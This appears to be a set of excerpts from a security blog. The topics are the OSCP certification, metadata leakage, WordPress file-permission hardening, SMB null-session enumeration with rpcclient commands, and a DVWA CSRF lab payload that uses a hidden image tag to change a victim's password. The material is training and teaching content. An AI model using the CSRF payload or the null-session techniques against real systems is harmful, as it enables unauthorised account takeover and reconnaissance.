The famous Offensive Security Certified Professional aka OSCP is the certification of the Penetration Testing with Kali Linux course aka PWK  provided by Offensive Security.

Offensive Security

Offensive Security is one the most active organization on the Internet about offsec. In addition to providing pentest and attack simulation services to their customers, they also bring a lot of great solution to the community.

Currently 6 online/live/in-house courses are available (pentest, wireless security, windows exploiation, web attacks…) who go with 5 different well known certifications. An incredible online virtual lab composed of intentionally vulnerable machine (ubuntu, XP, webapps, mail service, ftp vulns and so on…) has been created to enhance you security knowledge. Offensive Security is also editor of awesome projects such as Kali Linux, Metasploit and Google Hacking Database, the most used tools by pentesters.

The quality of all of these solutions is well recognized by the community and many companies and actually everyone who have to deals with offsec :)

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Metadata are informations stored in a document itself but not easy to find for common mortals. Those infos usually are: file name/type/size, author, organization, created date, last modified date and so on… But sometimes there are extra infos that could be very interesting from a hacker point of view like email, phone number, username, geoloc and even local ip address.

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With more than 60 million websites, WordPress is the most popular CMS currently in use but it’s also based on the most hacked environment aka LAMP.

As we all know, there is no way to stop a determined hacker but you can slow him down or detect him before things become serious. Below some techniques to improve the security of your site.  This post is directly inspired from Wordpress official codex and some hackers techniques I learned last months.

Files

According to Worpdress documentation, and I won’t discuss this point here, directories must have the following permission: drwxr-xr-x (755) and files must be: -rw-r--r-- (644). Wordpress says that automatic update changes file/dir permissions, that’s true but not that way in my case, maybe a cron job could do it ?

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While performing a pentest, if you discover a server running the SMB protocol  you can test if it’s vulnerable to anonymous connection (also called null session) and then glean a lot of informations with a RPC client. Nmap is usefull to locate that kind of service:

smb null session

Now you can try to interact with the remote machine with the help of rpcclient. To perform a null session you have to specify an empty user and an empty password. If the host is not vulnerable, you will get the following error:

$ rpcclient -U "" 192.168.1.31
Enter 's password:
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid for domain WORKGROUP
error: NT_STATUS_ACCESS_DENIED

But if the host is vulnerable you will immediatly get a prompt:

$ rpcclient -U "" 192.168.1.18
Enter 's password:
rpcclient $>
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Cross-Site Request Forgery aka CSRF is an attack unintentionally triggered by the user himself. It sends HTTP requests to execute unexpected actions in different ways: trough img tag to perform GET requests or with Ajax requests when POST is required. You can learn basic CSRF in DVWA.

To perform this CSRF you firstly need to log in, then you must visit a malicious site who will perform a stealth HTTP request who will submit the change password form with specific values.

Low

The original request can be found by using a local proxy like Burp Suite or analyzing HTTP headers with a browser extension like Live HTTP Headers. The payload:

<html>
  <head>
    <title>My malicious website</title>
  </head>
  <body>
    <p>It works like a charm!</p>
    <img src="http://local.dvwa.com/vulnerabilities/csrf/?password_new=azerty&password_conf=azerty&Change=Change" width="1" height="1" />
  </body>
</html>
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